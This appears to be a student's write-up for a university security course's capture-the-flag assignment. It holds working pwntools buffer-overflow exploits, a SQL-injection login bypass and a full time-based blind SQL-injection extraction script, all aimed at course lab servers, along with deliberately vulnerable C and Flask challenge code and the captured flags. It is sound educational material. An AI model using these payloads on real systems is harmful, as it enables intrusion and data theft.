Inf226

Assignment 1

0x01

```c
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc , char **argv){

char buffer[32];
int32_t check = 0xdeadbeef ;

printf("Try to get past me!\n");
fflush(stdout);

assert(fgets(buffer, 1024, stdin)!= NULL);

if(check == 0xc0cac01a){
  printf("Congratulations, you win!\n");
  fflush(stdout);
  system("cat flag.txt");
}
else {
  printf("You lose! Bye.\n");
}

return 0 ;
}
```

Description of the vulnerability

C language has some functions in it's libraries that can produce several buffer overflow vulnerabilities. In this case we have a buffer of 32 bytes and a 8 bytes variable. The problem resides when the program calls to fgets function with first argument the 32 bytes buffer but the second argument indicates that the buffer at the first argument has 1024 bytes of lenght and because of this I can make the buffer overflow attack overwriting the value of the variable which name is check.

Python script using pwntools

Here is the exploit used to get the flag with comments about why I chose the offset, then I create the cyclic and then I add the value that I want to overwrite the var check in little endian and send it to the server. I will receive the data in out_1.txt that is upload linked below as well.

```python
#!/usr/bin/python2
import pwn
from struct import *


desired_offset = 40 #thanks to gdb we can know the offset between rbp and rsp
that is 40
c = pwn.remote('shepherd.ii.uib.no', 9001)



buf = ""
buf = pwn.cyclic(40)
buf += "\x00\x00\x00\x00\x1a\xc0\xca\xc0" #we add little endian c0cac01a


c.sendline(buf) #we sent the payload

f = open("out_1.txt", "w") #file where the results are going to save

f.write(c.recvall()) #receiving the results and writting them in out.txt.
```

Flag is: INF226{fr33d0m_v4r14bl3_s4v3d_th3_d4y}

0x02

```c
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>

void do_system(){
  system("cat flag.txt");
}

int main(int argc , char **argv){

char buffer[32];

printf("Try to get past me!\n");
fflush(stdout);

assert(fgets(buffer, 1024, stdin)!= NULL);

return 0 ;
}
```

Description of the vulnerability

C language has some functions in it's libraries that can produce several buffer overflow vulnerabilities. In this case I have a buffer of 32 bytes. The problem resides when the program calls to fgets function with first argument the 32 bytes buffer but the second argument indicates that the buffer at the first argument has 1024 bytes of lenght and because of this I can make the buffer overflow attack. I can see that the function that calls to system is not called in the main function so the job will be overwrite the RIP to call system function.

Python script using pwntools

Here is the exploit used to get the flag. After send a cyclic pattern I saw that the RSP has the substring 'kaaa' at the beginning and with the funcion of pwntools cyclic_find I can know the offset and I can send the correct lenght of pattern and after I will add the address of the do_system() function to overwrite RIP and finally send to the server the payload. I will receive the data in out_2.txt that is upload linked below as well.

```
#!/usr/bin/python2
import pwn
from struct import *

desired_ret = 0x401162 #We know that desassembling it with gdb
c = pwn.remote('shepherd.ii.uib.no', 9002)


offset = pwn.cyclic_find('kaaa') #This is the substring in my pattern in the
top
#of the stack as we saw in gdb

buf = pwn.cyclic(offset)

buf += pwn.p64(desired_ret)

c.sendline(buf) #we sent the payload

f = open("out_2.txt", "w") #file where the results are going to save

f.write(c.recvall()) #receiving the results and writting them in out.txt.
```

Flag is: INF226{gg_f0r_c0ntr0ll1ng_31P}

0x03

```
from flask import Flask, json, render_template, request, redirect, url_for
import mysql.connector
import os
import socket

flag = <SNIPPED>
app = Flask(__name__)
def opendb():
  config = <SNIPPED>
  connection = mysql.connector.connect(**config)
  cursor = connection.cursor()

  return (connection, cursor)

def closedb(connection, cursor):
  cursor.close()
  connection.close()

@app.route("/")
def main():
  return redirect(url_for('showSignIn'))

@app.route('/showSignIn')
def showSignIn():
  return render_template('signin.html')

@app.route('signIn', methods=['POST'])
def signIn():
  _name = request.form.get('inputName')
  _password = request.form.get('inputPassword')

  if not _name or not _password:
    error = {'message':'<span>Some fields are missing</span>'}
    return json.dumps(error)

  if _name and _password:
    (connection, cursor) = opendb()

    req = "SELECT * FROM tlb_user WHERE login='{}' AND password='{}'"
    cursor.execute(req.format(_name, _password))

    data = [(login, password) for (login, password) in cursor]
    closedb(connection , cursor)

    if len(data) != 0 and data[0][0] == ’admin’:
      return json.dumps({’gg’:’GG! Flag: {}!’.format(flag)})
    else:
      error = {’error’:’No user found with these credentials.’}
      return json.dumps(error)

if __name__ == "__main__":
  app.run(host = ’0.0.0.0’, port =8001)
```

Description of the vulnerability

In the code above I can see the sql query can check that it could exist a vulnerability because if I try to post the name and the password using unpaired quotes it responses to the log console that is not the response that it supposed to be so I can suspect that I could do sqli. Addicionally using OWASP-ZAP confirm it so I can try to make an sql attack.

Description of the script

I will use requests library to make the request in the webpage using admin as a keyword because it is a common word to the user administrator and I'll send the request adding a quote and '#' at the end which makes that the request will ignore the rest of the query thats why don't need a real password, also I can use a 1 OR True request for example "1' or 1=1 #" and I will get the access.

```
import requests

targetUrl = "http://shepherd.ii.uib.no:8001/signIn"
param = {"inputName":"admin'#", "inputPassword":"not_needed"}
#also we can use 1' or 1=1 # in the input name that is more generic

result = requests.post(targetUrl, param)

f = open("out_1.txt", "w")

f.write(result.text)
```

Flag is: inf226{s0_y0u_c4n_b4s1c_5q71}

0x04

At this time I don't have any code.

Description of the vulnerability

As I don't have any guide from a source code and every time I send a request to the app in the webpage I receive not feedback for you this time, or a internal server error maybe I can be in front of a blind sql injection so I'll try to get access with querys over the tables and then go deeper.

Description of the script

As in the previous example I will use Python with library requests. This script has three parts and every part has the same structure but changing the payload on the request. All of parts has a while loop to ensure all letters of the name will appear and inside there is another loop that go over ascii chain characters to check with the payload letter by letter the name, on the first part, of the table, in the second one, the name of the column and in the third one the content which is the flag. In the payloads I use blind sqli technique with a time based querys because I don't have any feedback from the server. Below is the code with some comments explaining the parts of the code as well.

```
import requests
from requests.exceptions import Timeout

targetUrl = "http://shepherd.ii.uib.no:8002/signIn"
```

```
cont = 1
ascii_char = []
table_name = ""
column_name = ""
flag = ""

#Make a character chain with a lot of ascii characters to check the names.

for i in range(48, 127):
     ascii_char += chr(i)

#Adding '$' symbol and put '_' in last place to ensure that it don't
overwrite any character.
ascii_char.append('$')
ascii_char.remove('_')
ascii_char.append('_')


print (ascii_char)

#The first part will discover the name of the table using blind and time-
based querys checking the characters of the chain and if there is a timeout
it's because
#the query was correct and server is sleeping so that's I know if the
letter checked is part of the name and I will add the letter to the name.
while cont < 5:
     for i in ascii_char:
          param = {"inputName":"'OR 1=1 AND IF((SELECT table_name FROM
information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE '"
          +table_name+i+"%',SLEEP(5), 0)#", "inputPassword":"not_needed"}
          try:
               result = requests.post(targetUrl, param, timeout=2)
          except Timeout:
               table_name += i
               print(table_name)
               cont = 0
               break
          cont+=1


print("\n\n\nThe table name is " + table_name + "\n\n\n")
#TBL_THE_FLAG_IS_HERE

cont = 1
#At the first place I tried with upper case but didn't work so it's
necessary to have the name in lower case.
table_name = table_name.lower()

print("\n\n\nThe table name is " + table_name + "\n\n\n")
#The table name is tbl_the_flag_is_here


#The second part will discover the name of the first column in the table
name using blind and time-based querys as well checking the characters of
```

```
the chain
# and if there is a timeout it's because the query was correct and server
is sleeping so that's I know if the letter checked is part of the name
#and I will add the letter to the name.

while cont < 5:
     for i in ascii_char:
          param = {"inputName":"'OR 1=1 AND IF((SELECT column_name FROM
information_schema.columns WHERE table_schema=database() AND table_name='"+
table_name +"' LIMIT 0,1) LIKE '"
          + column_name+i+"%',SLEEP(5), 0)#", "inputPassword":"not_needed"}
          try:
               result = requests.post(targetUrl, param, timeout=3)
          except Timeout:
               column_name += i
               print(column_name)
               cont = 0
               break
          cont+=1

cont = 1
print("\n\n\nThe column name is " + column_name + "\n\n\n")
#The column name is FL4GF13LD


#The thir part will discover the content of the column in the table that I
got previously using blind and time-based querys as well checking the
characters
#of the chain in the table name that and if there is a timeout it's because
the query was correct and server is sleeping so that's I know if the letter
checked is part of the name
#and I will add the letter to the name.


while cont < 5:
     for i in ascii_char:
          param = {"inputName":"'OR 1=1 AND IF((SELECT "+ column_name + "
FROM "+ table_name +" LIMIT 1) LIKE '" + flag+i + "%',SLEEP(5), 0)#",
"inputPassword":"not_needed"}

          try:
               result = requests.post(targetUrl, param, timeout=4)
          except Timeout:
               flag += i
               print(flag)
               cont = 0
               break
          cont+=1

print(flag)
#INF226{PR3TTY_70N6_P4$$W0RD_W17H_@_W31RD_CH4R537}
```

Flag is: INF226{PR3TTY_70N6_P4$$W0RD_W17H_@_W31RD_CH4R537}

Conclusions

A very interesting challengers that let me improve my knowledge about python tools like pwntools and requests library as well as knowledge about reversing and ways of sql injection that I didn't know.